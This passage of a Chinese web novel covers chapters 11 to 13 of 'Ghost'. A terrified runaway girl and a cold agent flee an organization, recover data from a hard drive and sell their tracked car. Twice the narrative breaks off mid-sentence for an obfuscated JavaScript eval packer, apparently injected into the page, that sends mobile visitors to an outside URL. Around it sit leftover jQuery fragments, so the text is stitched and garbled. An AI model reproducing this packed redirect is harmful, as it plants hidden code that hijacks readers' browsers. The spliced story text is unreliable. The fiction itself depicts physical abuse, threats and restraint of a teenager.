“警察会相信一份盖着红章的‘合法文件’,还是相信一个疯疯癫癫的流浪儿?” “在正义的程序跑赢组织之前,我们就已经死在拘留室里了。” “想活命,就别指望别人。” 袁问张了张嘴,最后一点希望的光在眼底熄灭了。 她低下头,死死抱住那个帆布包。 懂了。 没证据,就是死。 “对不起……”她声音沙哑,这次是真的服软了。 “省着点力气吧。” 亓默转回身,重新发动车子。 路虎重新汇入车流,在这个漆黑的夜里盲目地向前开着。 袁问靠在车窗上,看着亓默的背影。这个女人左肩脱臼的伤显然还在疼,开车主要靠右手,但背脊依然挺得笔直。 “你……”袁问犹豫了很久,“你怎么跑出来的?” “对面放人的。” 亓默目视前方,声音平淡,“司机被系统控制杀你的场面吓到老邢了。他意识到手下那些联网的精英小队随时可能变成系统的枪。在这个局里,只有我是断网的。” 她指了指自己空荡荡的耳朵。 “我不受系统控制,只听我自己的。所以,我是他唯一能用的刀。” 袁问愣住了。 原来如此。在这个被算法统治的世界里,最大的安全感竟然来自“原始”。如果不抱紧这块石头,她袁问早就成了系统代码里的一行“已删除”。 她低头看了一眼怀里的帆布包。 她还没有打开看过。也不敢看。 “我们……去哪?”袁问虚弱地问。 亓默看了一眼漆黑的前路。 “不知道。” 她踩下油门,“先离开这片区域。等你脑子清醒了,手不抽筋了,再把那个包打开。” 11. [Ghost] 幽灵 11 路虎停在了一家路边小旅馆门口。 车厢里臭得像个发酵的垃圾桶。下水道的腐烂味混合着呕吐物的酸味,让亓默的忍耐到了极限。 “下车。” 亓默解开安全带,冷冷地吐出两个字。 后座没动静。 袁问缩在角落里,像一堆发霉的旧衣服。她听得见,但身体不听使唤。 “我让你下车。” 亓默失去了耐心。 她推门下去,拉开后座车门,一把揪住袁问那件脏硬的西装领子。 “不……不动……”袁问嘴里发出呓语,本能地往后缩。 “没吐够是吧?” 亓默手臂发力,像拖一袋垃圾,硬生生把袁问从车里拖了出来。 袁问摔在满是尘土的水泥地上。 剧痛让她稍微清醒了一点。她挣扎着想爬起来,却像只断了尾巴的壁虎,在地上蹬了几下,根本站不稳。 她的左脚光着,那只帆布鞋早在电话亭就跑丢了。 “站起来。” 亓默站在她面前,居高临下。 袁问哆嗦了一下,抬起头。 正好看到亓默抬起手,似乎要整理头发。 “啊!” 袁问短促地惊叫一声,整个人猛地抱头缩成一团,浑身抖如筛糠。 这是条件反射。 在被注射药物、被暴打之后,她的身体已经记住了这个女人的恐怖。亓默只要抬个手,她的神经就会尖叫:要挨打了。 亓默的手停在半空。 她看着脚下这个彻底被吓破胆的女孩,眼神冷漠。 “不想死就站直。” 亓默放下手,转身走向旅馆,“我有洁癖。洗干净之前,别让我听见你哼一声。” 前台是个打瞌睡的老头。 看见满身血泥、浑身恶臭的小女孩,老头吓得手直接摸向了报警电话。 一沓现金拍在柜台上。 “最好的房间。水要热。” 亓默指了指门外,“不准报警,不准看监控。” 老头看着那沓红票子,咽了口唾沫,默默递出一把钥匙。 房间在二楼,昏暗,潮湿。 进屋的一瞬间,亓默就把袁问推进了浴室。 “脱了。” 亓默站在门口,抱着手臂, “把你那层皮搓干净。” 袁问靠在湿滑的瓷砖墙上,手指僵硬,根本解不开西装扣子。 “真麻烦。” 亓默骂了一句,大步走进来。 她没有任何温柔可言,直接上手撕扯。 布料碎裂。袁问像个木偶一样任由摆布。 她怕。怕发出声音就会招来新一轮的暴打。 亓默伸手打开花洒。 冷水喷了出来。 亓默皱了皱眉,并没有直接淋在袁问身上,而是把手放在水流下试了试,直到水变热了,才把花洒挂回去。 “洗不干净别出来了。” 浴室门关上了。 水汽弥漫。袁问顺着墙壁滑坐在地上,抱着膝盖。 她张大嘴巴,像一条濒死的鱼,无声地抽噎着。 门外。 亓默坐在床边,听着里面压抑的抽气声。 她点了一根烟,深吸一口,尼古丁稍微压住了左肩伤口的剧痛。 她看着磨砂玻璃上那个缩成一团的瘦小影子,吐出一口烟圈。 “别怪我。” 她对着空气低声说。 “不把你打碎了重组,你这种废物,活不过三天。” 室的水声停了。 袁问裹着一条发黄的浴巾走了出来,头发湿漉漉地贴在脸上。 亓默没看她,指了指床脚的一套新衣服——那是她在路边摊随便买的廉价冲锋衣。 “穿上。” 等袁问哆哆嗦嗦地套好衣服,亓默走过去,从腰后摸出一副手铐。 一只手铐扣在袁问的左手腕上,另一头锁在了铁架床的床头栏杆上。 “我要出去一趟。” 亓默检查了一下手铐的牢固程度,“别乱叫。要是把老板引来,我就先杀他,再杀你。” “……哦。”袁问缩在床角,像只认命的家禽。 半小时后。 门开了,带进来一股冷风和烟味。亓默回来了。 她把一大袋水和压缩干粮扔在地上,然后想起了什么,从口袋里摸出一个被压扁了的长条形东西,随手抛给床上的袁问。 是一条士腻架。 最廉价、热量最高、甜得发腻的那种代可脂巧克力。 袁问接住,愣了一下。 她饿疯了。胃里的痉挛虽然止住了,但那种被掏空的虚弱感让她眼前发黑。 她撕开包装,顾不上形象,大口大口地吞咽。甜腻的焦糖混合着花生的味道在口腔里炸开,那是久违的高糖热量。 几口吃完,她甚至下意识地把包装纸展平,伸出舌头,把沾在塑料纸内侧的一点点巧克力酱舔了个干净。 动作熟练得让人心酸。 亓默坐在对面的椅子上,点了一支烟,隔着青白色的烟雾,饶有兴致地看着这一幕。 “好吃吗?”她突然问。 袁问动作一僵,慢慢放下手里被舔得发亮的糖纸,点了点头。 “我看过你的档案。” 亓默弹了一下烟灰,语气随意得像是在聊家常,却字字诛心: “以前在蒙特利尔,你那个精算师老妈管得严,这种全是代可脂和反式脂肪酸的垃圾,估计连你家的门都进不去吧?” 袁问的手指猛地攥紧了。 亓默似乎没看到她的反应,自顾自地补了一刀: “要是让你妈看见,她花了几百万培养出来的钢琴手,现在正缩在几十块钱的小旅馆里舔糖纸……” 她轻笑了一声,摇了摇头。 “啧。” 没有长篇大论的说教,也没有愤怒的咆哮。就是一个轻飘飘的“啧”。 充满了嘲讽、轻蔑,还有一种看热闹不嫌事大的恶劣。 袁问低下头,死死咬着嘴唇。她感觉肺管子被捅进了一根冰锥,还搅了两下。 那种羞耻感比挨打还难受。 但她一句话也说不出来。 “行了。” 亓默似乎对这个反应很满意,她站起身,掐灭了烟头。 “既然有力气害臊,那就是死不了了。” “睡觉。天亮出发。” 灯并没有全灭。 亓默留了一盏昏暗的台灯。 袁问缩在被子里,背对着亓默,却根本睡不着。那句“舔糖纸”的羞辱还在脑子里回荡,让她浑身发烫。 突然,一阵塑料袋摩擦的声音传来。 袁问悄悄转过头,眼睛眯开一条缝。 她看到亓默坐在桌前,手里拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068508|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块黑色的硬盘。 那是从胖主管那里要来的、据说存着“五年前出入库原始日志”的硬盘。 亓默打开了那台破旧的笔记本电脑,手里拿着数据线,正准备把硬盘插进去。 “别插!!!” 袁问不知道哪来的力气,虽然还被拷在床头,但她整个人“腾”地一下弹了起来,像只炸了毛的猫。 “别插!千万别连网!” 因为动作太猛,手铐勒进了肉里,疼得她龇牙咧嘴,但她还是死死盯着亓默的手,眼神惊恐万状。 亓默的手停在半空。 她转过头,看着满脸冷汗的袁问,眉头挑了一下。 “怎么?诈尸了?” “那是蜜罐!绝对是Honeypot!” 袁问急得语速飞快,职业病瞬间发作: “那是组织内部的硬盘!里面肯定有自启动的追踪木马!只要一通电,它就会自动扫描硬件指纹,然后通过网络回传定位!” “你这台电脑没做物理隔离,一旦插上去,我们就暴露了!” “拔掉!快拔掉!” 她是真的急了。在她看来,这跟拉开手雷引信没什么区别。好不容易才跑了出来,怎么能毁在这个硬盘上? 亓默看着她那副如临大敌的样子,突然笑了。 “哈。” 她笑得很短促,带着一种看傻子的无奈。 “暴露?” 亓默手里依然拿着那块硬盘,不仅没放下,反而当着袁问的面,“咔哒”一声,稳稳地插进了USB接口。 “你……!”袁问瞪大了眼睛,仿佛看到了世界末日。 “动动你的脑子,袁问。” 亓默一边敲击键盘,一边漫不经心地说道: “我们开的那辆路虎,是雷子的车。车上有三套 GPS,甚至连行车记录仪都是实时上传的。” 亓默转过头,眼神嘲弄: “你以为我们在隐形?” “别天真了。从我们走出仓库大门的那一刻起,我们就是在裸奔。” 袁问愣住了。她张着嘴,半天没说出话来。 “那……那为什么……” “动动你的脑子。” 亓默看着屏幕上跳出来的进度条,眼神逐渐变得冰冷。 “老邢给了我们这块硬盘,也给了我们那箱遗物。他让我们跑,不是因为他抓不住我们,而是因为他在等我们带路。” “既然是演戏,那就得演全套。” “如果不看这块硬盘,怎么显得我们真的很想找线索?” 亓默指了指屏幕。 “这块盘里确实有木马,但我就是要让它在后台跳。” “它跳得越欢,老邢就越放心。” “睡吧。” 亓默不再理她,专心看着屏幕上滚动的数据流。 袁问的心彻底冷了下去。 只要你跟那个狗屁组织有联系,你就是狼。 呵,组织的车,还给了特批。 狗屁情报,即插即用。 原来如此。 什么“系统要杀你”,什么“对抗系统”,全是剧本。这疯女人打针吃药,还有那顿毒打,都是为了演得逼真,为了让我这个惊弓之鸟相信她,然后乖乖交出秘密。 行,你们想玩红白脸是吧? 那我就陪你玩。等到了地方,我就让你看看,谁才是真的疯子。 12. [Ghost] 幽灵 12 天亮了。 公路的尽头,出现了一个孤零零的服务区。远远地,就能看到那个巨大的、黄色的“M”招牌在晨曦中闪闪发光。 亓默单手扶着方向盘,左臂虽然还疼,但心情似乎不错。 她瞥了一眼缩在副驾驶、饿得脸色发青的袁问,嘴角勾起那个熟悉的、欠揍的弧度。 “哟。” 亓默扬了扬下巴,指着那个招牌,“金拱门。吃没吃过?” 袁问本来正饿得胃疼,听到这话,那股名为“18岁”的莫名其妙的自尊心瞬间就炸了。 “我吃过!” 她梗着脖子,声音很大,“我又不是原始人!” 亓默没忍住,鼻子里发出一声轻嗤。 “偷的外卖不算吃。” 她目视前方,语气轻飘飘的,“那是冷的,还得躲在桥洞底下像耗子一样啃。那能叫吃?” 袁问像个被戳破了的气球,瞬间瘪了下去。 车子拐进了“得来速”车道。 “吃不吃?”亓默问。 袁问咬着后槽牙,从牙缝里挤出一个字: “吃。” 骨气是什么?能当饭吃吗? 亓默降下车窗,熟练地对着对讲机点单:“两份猪柳蛋套餐,大杯美式。” 她转过头,看着旁边那个正在对着菜单图片咽口水的袁问,恶趣味又上来了。 “再加一对麦辣鸡翅要不要?” 亓默语气温柔得像个大姐姐,但下一句就暴露了本性: “挺好吃的。怕你没吃过。” 袁问的脖子“腾”地一下红了。 这是赤裸裸的歧视!这是把她当成那种连鸡翅都没见过的山里娃了! “我吃过!” 袁问气急败坏地喊道,声音里带着委屈,“我知道那个味儿!以前……以前我经常吃!” “哦,吃过啊。” 亓默点了点头,作势要关窗,“既然吃过,那就别浪费钱了,反正是垃圾食品。” “哎——!” 袁问急了,那是真急了。 她的手甚至下意识地伸出去抓住了亓默的衣袖。 虽然“吃过”,虽然“是垃圾食品”,虽然“尊严很重要”。 但是…… 那是刚炸出来的、热乎乎的、酥脆的麦辣鸡翅啊! 袁问看着亓默那双似笑非笑的眼睛,内心进行了长达三秒钟的天人交战。 最后,还是胃战胜了脸。 “……要。” 袁问低下头。 亓默满意地笑了。 她转头对着对讲机,心情愉悦地补充道: “再加两对鸡翅。” 车子向前滑行,去取餐口。 亓默用手指轻轻敲着方向盘,心情颇好地总结道: “看,做人就要诚实。” “想吃就说想吃,别老在那儿装大尾巴狼。” 袁问缩在座位里,把头埋进那个宽大的冲锋衣领子里,恨不得把自己闷死。 她发誓。 这绝对是她这辈子吃过的、最屈辱的一顿麦当劳。 但等那个散发着油脂香气的纸袋递到手里时…… 真香。 半小时后。 城郊的又一家无名小旅馆。 房间不大,窗帘拉得很严实。为了安全,灯没开全,只有电脑屏幕发出的冷光,映照着空气中浮动的灰尘。 气氛沉闷而尴尬。 袁问盘腿坐在床上,抱着亓默那台性能受限的战术本,手指机械地敲击着键盘。 屏幕上的进度条走得很慢:Recovering Sectors... 23%。 这是一种名为“数据取证”的枯燥工作,没有任何黑客电影里的炫酷特效,全是枯燥的扇区扫描和比对。 亓默坐在靠门口的椅子上,正在重新包扎左臂渗血的伤口。她动作利落,连眉头都没皱一下,袁问认为那是别人的胳膊。 包扎完,她看了一眼进度条,皱了皱眉。 “太慢了。”亓默说。 “这硬盘是物理损伤,扇区坏得多。”袁问嘴里还塞着半个汉堡,含糊不清地回怼,“而且你这电脑系统封装太死,好多工具跑不起来。” 亓默没说话,站起身推门出去了。 五分钟后,她带回来一股冷风,把一袋东西扔在袁问脚边的床单上。 “给。” 袁问低头一看。是两罐魔爪,还有一瓶红牛。 全是那种死贵的加强型功能饮料。 “喝了。”亓默拉开拉环,自己灌了一口红牛,“我不需要一个打瞌睡的猪队友。” 这不是关心,这是给干活的牲口加饲料。 袁问看着那罐魔爪,喉咙动了一下,但没动。 “我不喝。” “嫌不好喝?” “……这玩意儿太贵了。”袁问小声嘟囔,“喝了心慌。” 亓默愣了一下,看着眼前这个瘦得像豆芽菜一样的女孩:“你不是在医院系统里挂了个名字吗?一个月 2300,也不至于连瓶水都喝不起。” 袁问盯着屏幕,她都觉得好笑了。 2300? 在普通人眼里,这是钱。在她的世界里,这是生存税。 “姐,你知道当个‘黑户’有多贵吗?” 袁问的手指在键盘上敲击,声音低沉。 账不是那么算的。 “租房,没身份证,只能找黑中介,房租翻倍,水电一口价三百。” “手机卡,得去天桥底下买黑卡,半个月一换。手机得买二手的,用完即扔。” “还有洗钱的银行卡,买一套‘死卡’要五百,还得随时防着被卡主挂失。” “这 2300 块,扣掉这些,剩下的也就够我吃挂面。” 亓默沉默地听着。 更要命的是,开源也断了。 “我也想过赚外快。”袁问突然笑了,笑得比哭还难看。 以前在网吧混的时候,她还能靠帮人打游戏、代练上分赚点快钱。 那时多简单啊,网吧里吼一声:“王者晋级赛,五十一把,包过!” 现金交易,一手交钱一手交号。她技术好,手速快,那时候日子还算滋润,偶尔还能加个火腿肠。 可这两年,世道变了。 那些菜得抠脚的老板们,全跑去某宝、某鱼或者专门的陪玩APP上下单了。 袁问也想去接单。 她看着那些平台上的价格:“国服标,一单 200”。 她看着自己的技术:切,这种局我闭着眼都能打。 她兴冲冲地下载了APP,点开“注册成为大神”。 第一步:请输入手机号。 忍痛花钱买了黑卡,过了。 第二步:请输入身份证号并绑定银行卡。 咬牙用了买来的“死卡”,过了。 第三步…… 屏幕上弹出一个大大的圆圈,下面一行字: 【请眨眨眼,张张嘴,进行人脸识别认证】 “……” 袁问拿着那个破手机,坐在昏暗的地下室里,对着那个摄像头,表情僵硬得像块石头。 她不敢刷脸。 她的脸一旦进入公安系统的人脸比对库,哪怕只是个商业公司的接口,万一触发了那个“走失人口/甚至更高级的预警”,她就完了。 更别说那些买来的“死卡”,身份证照片是个六十岁的老太太,怎么刷? “认证失败。” 她眼睁睁看着隔壁机子的那个黄毛,技术菜得像人机,连连招都不会放,就因为有身份证,在某鱼上接单接到手软,一边抠脚一边数钱:“哎哟,这老板真大方,又是两百。” 袁问坐在旁边,看着自己的账号,肚子咕咕叫。 她空有一身屠龙技,却因为没有一张轻飘飘的塑料卡片,连给黄毛打下手的资格都没有。 亓默拿着红牛的手停在半空。 “我也试过不用电脑的活儿。”袁问接着说,“我去过那种苍蝇馆子,想去后厨洗碗。我想着洗碗总不需要实名制吧?反正我没身份证,我说几岁就几岁。” “结果老板娘拿出手机让我扫码领工资。我说要现金,老板娘像看神经病一样看我:‘谁还备现金啊?我都半年没摸过纸币了。况且,现金发工资,回头你回来讹我们怎么办?’” “我去送外卖,系统要扫脸打卡;我去送快递,不买保险不让上岗。” “姐,现在的饭馆,连洗洁精都不配给没身份的人用。” 袁问低下头,重新开始敲代码。 技术再高,怕实名。手法再硬,怕刷脸。 这大概就是这个时代的黑色幽默。 “行了。”亓默把魔爪往前推了推,“喝吧。” 袁问看着那罐饮料,迟疑了一下。 最后,她还是伸出手,把它拿了过来,揣进了兜里。 不喝白不喝。 这一罐,顶两顿饭呢。 她把罐子拿起来,习惯性地转到背面看了一眼配料表。 【Zero Sugar / 零糖】 “……” 袁问的手僵了一下。 老天爷都在跟她讲地狱笑话。她现在缺的是那一丁点为了身材管理的代糖吗?她缺的是热量,是能让她这种低血糖患者脑子转起来的真糖。 但她还是把它塞进了兜里。 有的喝就不错了。 就在这时,电脑发出“滴”的一声轻响。 打破了房间里那种关于贫穷的沉闷空气。 进度条:100%。 日志恢复完成。 袁问凑近了屏幕。 海量的数据像瀑布一样倾泻而下。 入库单、出库单、车辆调度日志、地磅原始记录、人员值班表…… 袁问只看了三行,眉头就锁死了。 看不懂。 完全看不懂。 这里面全是代号:“猎户座”、“K-7计划”、“清理组-C队”。 她对那个所谓的“组织”一无所知,这就像是让一个小学生去解微积分,每一个字符都认识,连在一起就是天书。 “这都什么鬼画符……” 袁问揉了揉发胀的太阳穴,下意识地回头,想问问亓默能不能给个关键词。 结果她愣住了。 亓默睡着了。 那个之疯女人此刻正坐在靠门口的那把破椅子上,头歪在一边,呼吸均匀绵长。 她太累了。 车祸、枪战、还要拖着袁问这么个累赘跑路。铁打的人也扛不住极度疲惫。 袁问可没想这么多。 机会。 这是老天爷给的缝隙。 袁问屏住呼吸,屁股慢慢离开床垫,动作极轻地想要站起来。 “哗啦。” 一声极轻微、但在此刻听起来如雷贯耳的金属撞击声。 袁问僵在原地,低头看去。 她的左手手腕上,还有手铐呢,手铐的另一头,死死地锁在那铁床架上。 她给忘了。 “……” 袁问在心里骂了一句特别难听的脏话。 她不死心地拽了拽。纹丝不动。 手铐是警用的,咬合得很死,缩不出手。 袁问慢慢转头,目光落在了亓默的腰间。 那里鼓鼓囊囊的。 钥匙肯定在那儿。距离:两米。障碍:空气。 袁问盯着亓默沉睡的侧脸,咽了口唾沫。 两米。 只要她能像条蛇一样无声地蹭过去,伸出手,摸到那个钥匙…… 她把脚伸出去了一点。 空气里只有空调运转的嗡嗡声。 但就在那一瞬间,袁问的老鼠本能还是战胜了侥幸。 她怂了。 她不敢赌一个顶级特工的警觉性。 “操。” 袁问气急败坏地把腿缩回来,重新盘腿坐回床上,发泄似的把电脑拽到面前。 既然跑不掉,那就只能干活。 证明自己有用,别被宰了。 “大海捞针我不行……”袁问咬着指甲,盯着屏幕上的乱码,“但我能顺藤摸瓜。” 她不再试图去理解那些代号。 她闭上眼睛,开始在自己那个乱糟糟的大脑里,翻找“上辈子”的记忆。 五年前。蒙特利尔的雪。壁炉。 父亲的书房。 她记得父亲是个很严谨的人,所有的设备都有固定的供应商。 她记得出事的前一周,书房里多了几个黑色的运输箱。 父亲当时还在打电话,语气很冲:“那帮吸血鬼,只会要钱。” 年幼的袁问路过书房门口,瞥了一眼那个箱子。 箱子侧面,有一个银灰色的、像海浪一样的LOGO。 下面有一行英文小字。 那个单词是…… PACIFIC,太平洋。 袁问的手指在键盘上飞快敲击,写了个简单的检索脚本。 关键词:PACIFIC。 回车。 屏幕闪烁了一下。海量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068509|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的数据垃圾被过滤掉,只剩下一条不起眼的物流备注浮出水面。 Destination: PACIFIC CBD NODE (太平洋CBD节点) 一种电流般的战栗感穿过全身。 对上了。 父亲的记忆,和这块硬盘里的数据,在这一刻完成了闭环。 她不懂组织在找什么,但她知道父亲的东西去了哪。 顺着这个线索,她迅速锁定了那条异常的重量数据。 入库2.8吨,销毁2.38吨。 少了420公斤。 而那辆带走这420公斤的维修车,留了一份货运记录,正巧存在了太平洋数据中心。 袁问转过头,看向还在熟睡的亓默。 眼里的恐惧慢慢退去,取而代之的是一种算计的光芒。 找到了。 说不定就是能糊弄组织追捕的线索。 “喂。” 袁问伸出脚,轻轻踢了踢亓默坐的椅子腿。 没反应。 “……姐?” 袁问大着胆子,抓起桌上的那罐魔爪,用力在床头上磕了一下。 “砰。” 下一秒,袁问后悔了。 亓默的眼睛猛地睁开。 没有迷茫,没有刚睡醒的惺忪。 在那一瞬间,她的眼神清明得吓人。 风声乍起。 袁问还没看清动作,亓默的手已经卡住了她的脖子。 “别!是我!别杀我!!” 袁问尖叫着往后缩,双手举过头顶,手铐哗啦作响,整个人紧紧贴在墙上,吓得五官乱飞。 亓默的动作停住了。 她盯着袁问那张吓得惨白的脸,眼里的杀气慢慢散去,变回了平时的冷漠。 她松开手,揉了揉眉心,声音沙哑: “……下次叫醒我,离远点。” “我……我也不想啊,我被拷着呢……” 袁问摸着脖子,惊魂未定地喘着粗气。 这疯女人,起床气是要人命的。 “查到什么了?”亓默问。 袁问咽了口唾沫,指着屏幕,眼神重新变得贪婪而锐利。 “太平洋CBD节点。” “我记得这个名字。五年前,我爸书房里的箱子上,印着这个LOGO。” 她把屏幕转过去,展示那个坐标。 袁问指着屏幕上两列对比鲜明的数据,这是她通过取证工具强行恢复的底层地磅日志。 “你看。这是五年前我父母遇害前三天的入库记录。” “‘私人物品(待销毁)’,总重2.8吨。” 她手指下滑,指向另一行红色的数字: “这是5点整的销毁记录。焚烧厂接收重量,2.38吨。” 袁问抬起头,在屏幕蓝光的映照下,脸色惨白: “少了420公斤。” “420公斤。”亓默盯着那个数字,语气冰冷,“将近半吨。去哪了?” 袁问调出了另一组底层数据,手指飞快地敲击: “入库和销毁之间,有半小时的时间差。这期间,有一辆维修皮卡签发了离场放行条。” “它没有去焚烧厂。这部分GPS日志虽然被删了,但在底层缓存里还有影子。” 袁问敲了一下回车。 地图弹窗展开,一条断断续续的红线延伸到了城市的CBD核心区。 最后,红点闪烁在一座巨大的建筑上。 【太平洋数据中心】 袁问说完,偷偷观察亓默的表情。 她其实根本不知道那420公斤是什么。 可能是金条,可能是古董,甚至可能是一堆废铜烂铁。 亓默盯着地图上的红点,沉默了很久。 太平洋数据中心…… 五年前的仓库记录是她调查链条的终点,也是新的起点。 她没想到,袁问这只瞎猫,居然真的碰到了死耗子。 亓默的脑子在飞速运转。 事情发生得太快,从救人到现在,她一直是见招拆招。 不这样被赶鸭子逃跑,她们一辈子都拿不到遗物。 现在,面前摆着一个巨大的、明确的假目标。 老邢不知道这个点,组织不知道这个点。 这420公斤的东西,不仅是线索,更是一个完美的战略支点。 如果那里有东西,那是筹码。 如果那里变成了战场,那就是最好的混乱制造机。 只要把这潭水搅浑,老邢的视线就会被转移,我就能带着这只小老鼠从容脱身。 这叫将计就计。 亓默点了点头,没有太多的情绪波动,只是语气里多了一分笃定。 “看来留你一命是对的。” 她转身开始收拾东西,动作利落而高效。 “既然找到了,那就去拿回来。” 袁问看着亓默的背影,手在被子底下死死攥紧。 这就演上了? 袁问心里那台精密的算盘正在疯狂拨动。 这也太巧了。 组织给的硬盘,正好就能查到这个缺口?正好就能对应上她儿时的记忆? 天上不会掉馅饼,只会掉陷阱。 这世上哪有这么顺滑的推理。 这分明是组织故意喂给她的饵。 再看看眼前这个女人。 什么叛逃,什么断臂。 装的吧? 刚才换药的时候连眉毛都不皱一下,那是人类能有的痛觉神经?搞不好那个脱臼就是个魔术手法,为了博取同情,为了演那个“孤胆英雄”的人设,好让自己这个傻白甜感动涕零,乖乖配合。 亓默,你真是组织的一条好狗啊。 红脸唱得真投入。 袁问的手指在键盘上轻轻摩挲。 你们想让我去太平洋数据中心?想让我去当那把开锁的钥匙? 行,我如你们所愿。 但我不会按剧本走。 那里是数据中心。全是服务器,全是网线,是我的地盘。 到了那儿,只要我手摸到键盘…… 我就把数据吞了。 至于你,亓默……既然你是组织的人,那我就把你“还”给老邢。把你锁在机房里面,让你跟老邢的追兵狗咬狗。 我自己带着遗产,走下水道,彻底消失。 “你,收拾一下,天快亮了,我们一会事情很多。”亓默的声音传来。 “来了,姐。” 袁问乖巧地应了一声,跟在亓默身后。 13. [Ghost] 幽灵 13 城南,废弃工业区。 一家挂着“高价回收二手车”破招牌的黑汽修厂,卷帘门半拉着,里面传出刺耳的切割声。 那辆进口大路虎轰鸣着冲进了满地油污的车间。 “滋——” 亓默一脚刹车踩死,轮胎在油腻的水泥地上滑行了两米,刚好停在一个满臂纹身的胖子面前。 胖子老板叼着烟,眯着眼围着车转了一圈,用脚踢了踢那个巨大的后保险杠。 “这车烫手啊,大妹子?” “别废话。” 亓默没下车,单手搭在方向盘上,眼神冷漠,“多少钱,拿了现金我马上走。” 老板嘿嘿一笑,伸出一只油乎乎的手,比了个八字。 “八万。多一分没有。” 这可是进口路虎,哪怕当废铁卖也不止这个数。这就是明抢。 “成交。” 亓默回答得没有丝毫犹豫,甚至连眼皮都没眨一下。 老板愣住了,烟灰掉在裤子上。他本来还等着对方还价,没想到这女人比他还急。 “爽快。但我丑话说前头,这车……” “我懂规矩。” 亓默打断了他,“半小时内,把GPS拆干净,大卸八块运出城。这对你们来说不难吧?” “店里的现金我全要了,20分钟。” 老板深深看了她一眼。行家。 他招了招手,几个小工立刻拿着工具围了上来。 一个小工拉开后车门,刚想检查内饰,一股浓烈酸爽的呕吐物发酵味瞬间扑面而来。 “卧槽!” 小工捏着鼻子跳开三米远,脸都绿了。 “老板!这车没法要啊!后面臭得跟屎坑一样!这他妈是拉过死人还是咋的?” 老板也皱起了眉,狐疑地看向亓默。 亓默面不改色。 她微微侧头,看了一眼那个正蹲在车间角落的袁问。 “哦,不好意思。” 亓默语气淡淡的,带点调侃的意味。 “我的狗在后座拉稀了。有点晕车。” 蹲在墙角的袁问:“……?” 她猛地抬起头,死死瞪着亓默。 谁是狗?谁拉稀了?! 但看着周围那一圈满脸横肉、手里拿着扳手的修车工,袁问把到了嘴边的脏话硬生生咽了回去。 她缩了缩脖子,把头埋进膝盖里。 行。我是狗。 只要能活命,你说我是蛆都行。 同一时间。 组织指挥中心。 “砰!” 雷子一把摔碎了手里的马克杯,那张平时冷硬的脸此刻涨成了猪肝色。 监听耳机里,那个修车小工的骂声还在回荡:“……臭得跟屎坑一样……拉过死人……” “妈的!” 雷子暴跳如雷,那是他的爱车!他平时连烟都不舍得在车里抽! “那个修车的敢骂我的车是屎坑?!还有亓默那个疯女人,她说谁是狗?!” 技术员战战兢兢地看着屏幕:“雷队,信号……信号正在丢失。” 大屏幕上,代表路虎车的红点剧烈闪烁了一下。 “滋——” 一声刺耳的电流声后,红点熄灭了。 那是车载麦克风被暴力扯断的声音。 “邢队,GPS信号全丢了。”技术员汇报道,“最后位置是城南那个废弃修车厂区域。那里没有天网覆盖,全是黑产。” 指挥席上,老邢看着黑下去的屏幕,并没有生气。 他手里把玩着打火机,嘴角甚至露出了一丝玩味的笑。 “跑得挺快。断尾求生,有点意思。” 突然,整个指挥大厅的灯光变成了刺眼的红色。 警报声大作。 【系统警告:一级风险】 【目标 S-07(亓默)/0913(袁问)已脱离管控】 【建议措施:立即执行物理抹杀。无人机攻击路径已生成。】 大屏幕上,几架待命的攻击无人机已经开始预热。 “驳回。” 老邢猛地合上打火机,声音冷厉。 “不能杀。那女孩脑子里有重要资产。” “系统是个死脑筋,它只懂计算风险,不懂计算利益。” 他转身看向身后的高层投影:“既然物理追踪断了,那就让Auditor进场吧。” 地下三层。 【审计处(The Audit)】 这里和上面那个充满了烟味和焦躁感的指挥中心仿佛是两个世界。 自动感应的玻璃门无声滑开。 冷气开得很足,空气里弥漫着一股昂贵而冷冽的雪松木香氛。 没有乱七八糟的线缆,所有的服务器机柜都散发着幽蓝色的氛围光,地板干净得能当镜子照。 房间中央,巨大的环形屏幕环绕着一张纯白色的控制台。 Auditor正坐在一把赫曼米勒人体工学椅上。 他穿着一件剪裁极好的黑色高领羊绒衫,鼻梁上也架着一副淡紫色的复古透视墨镜。 一阵沉重的脚步声打破了这里的宁静。 老邢大步走进来,皮鞋踩在地板上发出“咯噔、咯噔”的噪音。 Auditor眉头微皱,擦键盘的手停住了。 他没回头,只是伸出一根手指,指了指门口的地毯: “邢叔,停。” “离我的控制台两米远。” “你身上那股指挥中心的廉价速溶咖啡味儿,会熏坏我的显卡。” 老邢习惯了他的臭脾气,也不生气,把手里的平板放在旁边的台子上。 “系统疯了,想杀亓默。我把它的权限拔了。现在轮到你了。” 他转过椅子,那张看起来甚至有些不耐烦的脸上,挂着一丝得意的笑。 “那个‘人工智障’(Artificial Idiot)终于被禁言了?” Auditor拿起平板,但他没有直接用手摸屏幕,而是嫌弃地用一根触控笔去滑。 “它的UI设计简直就是审美灾难,丑得我眼睛疼。” 他扫了一眼屏幕上那个红色的“目标丢失”警告。 “哎呀,亓默跑了?还把GPS都拆了?” “啧啧啧,暴力美学。” “别废话。”老邢沉声道,“帮我找到她。你知道她手里有什么。要活的。” Auditor耸了耸肩,把平板扔回给老邢。 “找人没问题。但我有个条件。” “别让雷子那种满脑子肌肉的猩猩去碰我的网络端口,他会把我的代码弄脏的。” “还有……” 